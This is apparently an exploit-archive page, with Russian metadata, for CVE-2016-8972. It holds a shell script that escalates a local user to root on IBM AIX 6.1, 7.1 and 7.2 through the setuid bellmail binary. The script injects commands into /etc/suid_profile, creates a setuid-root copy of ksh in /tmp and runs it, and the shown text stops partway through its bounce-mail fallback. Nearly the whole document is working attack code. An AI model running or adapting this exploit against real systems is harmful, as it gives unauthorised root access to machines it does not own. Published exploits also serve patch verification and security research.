IBM AIX 6.1/7.1/7.2 - 'Bellmail' Privilege Escalation

Свойства

Дата публикации:
28.12.2016
Цель:
IBM AIX 6.1/7.1/7.2
Тип воздействия:
Повышение привилегий

Код

#!/usr/bin/sh
#
# CVE-2016-8972/bellmailroot.sh: IBM AIX Bellmail local root
#
# Affected versions:
# AIX 6.1, 7.1, 7.2
# VIOS 2.2.x
#
#         Fileset                Lower Level  Upper Level KEY
#        ---------------------------------------------------------
#        bos.net.tcp.client       6.1.9.0      6.1.9.200   key_w_fs
#        bos.net.tcp.client       7.1.3.0      7.1.3.47    key_w_fs
#        bos.net.tcp.client       7.1.4.0      7.1.4.30    key_w_fs
#        bos.net.tcp.client_core  7.2.0.0      7.2.0.1     key_w_fs
#        bos.net.tcp.client_core  7.2.1.0      7.2.1.0     key_w_fs
#
# Ref: http://aix.software.ibm.com/aix/efixes/security/bellmail_advisory.asc
# Ref: https://rhinosecuritylabs.com/2016/12/21/unix-nostalgia-aix-bug-hunting-part-2-bellmail-privilege-escalation-cve-2016-8972/
# @hxmonsegur //RSL - https://www.rhinosecuritylabs.com
 
ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')
VULNBIN=/usr/bin/bellmail
SUIDPROFILE=/etc/suid_profile
 
function ESCALATE
{
    echo "[*] Preparing escalation"
 
    $VULNBIN >/dev/null 2>&1 < /etc/suid_profile
 
    echo "[*] Injecting payload"
    cat << EOF >$SUIDPROFILE
cp /bin/ksh $ROOTSHELL
/usr/bin/syscall setreuid 0 0
chown root:system $ROOTSHELL
chmod 6755 $ROOTSHELL
rm -f $SUIDPROFILE
EOF
 
    echo "[*] Executing SUID to leverage privileges"
    /usr/bin/ibstat -a >/dev/null 2>&1
 
    if [ ! -x $ROOTSHELL ]; then
        echo "[-] Root shell does not exist or is not executable. Exploit failed."
        exit 1
    fi
 
    echo "[*] Escalating to root.."
    $ROOTSHELL
    echo "[*] Make sure to remove $ROOTSHELL"
}
 
echo "[*] IBM AIX 6.1, 7.1, 7.2 Bellmail Local root @hxmonsegur//RSL"
 
$VULNBIN -e
if [ $? -eq 0 ]
    then
        ESCALATE
        echo "[*] Make sure to remove $ROOTSHELL"
        exit 0
fi
 
echo "[*] Sending mail to non-existent user, force a bounce within ~minute"
/usr/bin/mail nonexistentuser <
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